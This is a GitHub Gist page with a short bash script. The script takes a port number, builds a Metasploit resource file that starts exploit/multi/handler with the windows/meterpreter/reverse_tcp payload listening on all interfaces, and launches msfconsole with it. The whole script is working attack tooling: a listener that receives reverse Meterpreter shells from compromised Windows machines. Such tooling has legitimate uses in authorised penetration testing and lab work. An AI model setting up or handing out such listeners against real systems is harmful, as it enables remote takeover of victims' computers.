Last active
January 31, 2020 21:22
-
-
Save nimaid/d9b64f92c165dc6f0aed89ab790909a5 to your computer and use it in GitHub Desktop.
A helper script for opening a local Metasploit windows/meterpreter/reverse_tcp listener
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| set -e | |
| echo | |
| function usage() { | |
| echo Usage: $(basename $0) port | |
| exit 1 | |
| } | |
| function is_valid_port() { | |
| if [ -n "$1" ] && [ "$1" -eq "$1" ] 2> /dev/null; then | |
| if [ "$1" -gt "0" ] && [ "$1" -le "65535" ]; then | |
| true | |
| else | |
| false | |
| fi | |
| else | |
| false | |
| fi | |
| } | |
| PORT=$1 | |
| if [ -z "$PORT" ]; then | |
| usage | |
| elif ! is_valid_port $PORT; then | |
| echo Port $PORT is not a valid integer in range 1-65535 | |
| usage | |
| fi | |
| TEMPSCRIPT=$(tempfile --suffix=".rc") | |
| echo use exploit/multi/handler >> $TEMPSCRIPT | |
| echo set payload windows/meterpreter/reverse_tcp >> $TEMPSCRIPT | |
| echo set lhost 0.0.0.0 >> $TEMPSCRIPT | |
| echo set lport $PORT >> $TEMPSCRIPT | |
| echo exploit >> $TEMPSCRIPT | |
| msfconsole -r $TEMPSCRIPT | |
| rm $TEMPSCRIPT |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment